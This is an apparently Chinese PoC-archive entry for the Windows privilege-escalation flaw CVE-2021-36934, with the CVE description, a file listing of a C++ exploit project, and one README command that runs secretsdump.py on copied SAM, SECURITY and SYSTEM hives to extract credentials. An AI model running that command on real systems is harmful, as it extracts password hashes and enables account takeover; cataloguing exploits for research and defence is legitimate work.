POC详情: a29b2c8bf7ed5950393b6ecd88cf12b2a5b142bd

来源
关联漏洞
标题: Microsoft Windows 访问控制错误漏洞 (CVE-2021-36934)
描述:Microsoft Windows是美国微软(Microsoft)公司的一种桌面操作系统。 Microsoft Windows 存在访问控制错误漏洞,该漏洞源于系统对多个系统文件的访问控制列表过于宽松,因此存在特权提升漏洞。成功利用此漏洞的攻击者可以使用SYSTEM权限运行任意代码。
介绍
# CVE-2021-36934
![Screenshot](https://github.com/0x0D1n/CVE-2021-36934/blob/master/screenshot.PNG)

```
python secretsdump.py -sam C:\Windows\Temp\SAM -security C:\Windows\Temp\SECURITY -system C:\Windows\Temp\SYSTEM LOCAL
```

文件快照

[4.0K] /data/pocs/a29b2c8bf7ed5950393b6ecd88cf12b2a5b142bd ├── [4.0K] CVE-2021-36934 │   ├── [2.0K] CVE-2021-36934.cpp │   ├── [ 26] CVE-2021-36934.h │   ├── [7.0K] CVE-2021-36934.vcxproj │   └── [ 966] CVE-2021-36934.vcxproj.filters ├── [1.4K] CVE-2021-36934.sln ├── [ 229] README.md ├── [ 13K] screenshot.PNG └── [4.0K] x64 └── [4.0K] Release └── [ 54K] CVE-2021-36934.exe 3 directories, 8 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。